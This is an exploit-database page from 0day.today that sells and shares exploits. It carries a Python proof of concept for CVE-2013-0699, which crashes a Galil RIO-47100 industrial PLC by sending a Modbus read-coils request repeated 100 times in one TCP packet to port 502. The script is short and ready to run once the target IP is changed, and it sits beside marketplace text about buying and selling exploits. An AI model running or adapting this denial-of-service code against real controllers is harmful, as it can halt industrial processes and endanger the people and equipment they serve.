0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Galil-RIO Modbus - Denial of Service Vulnerability
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
# Exploit Title: Galil RIO-47100
# Date: 05-01-2013
# Exploit Author: Sapling
# Vendor Homepage: www.galilmc.com
# Version: Rio Firmware Prior to 1.1d
# CVE : CVE-2013-0699
# ICSA: ICSA-13-116-01
/* There are many different ways to crash this PLC but most of them are
centralized around the repeating a request in a single packet format. So
read a coil repeated in a single packet.
The Rio-47100 by Galil is a small PLC with an internal RISC based
processor. It communicates using ModBus, or Telnet over Ethernet as well as
having a web server built in that allows a user to issue commands.
I take no responsibility for the use of this code and using this code you
agree to take responsibility for your own actions. */
# Python Proof of concept
# A quick run down of the last half start at \x06
# \x06 length
# \x01 unit id
# \x01 function code (read coils)
# \x00\x00 start address
# \x00\x01 coil quantity
# Repeat the request in the packet 100 times
# Unfortunateley I can't remember the minimum number of times you have to
repeat to cause the crash
import sys
import socket
new = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
new.connect(('192.168.1.12', 502)) #Change the IP address to your PLC IP
Address
new.send('\x00\x01\x00\x00\x00\x06\x01\x01\x00\x00\x00\x01'*100)
# 0day.today [2024-11-15] #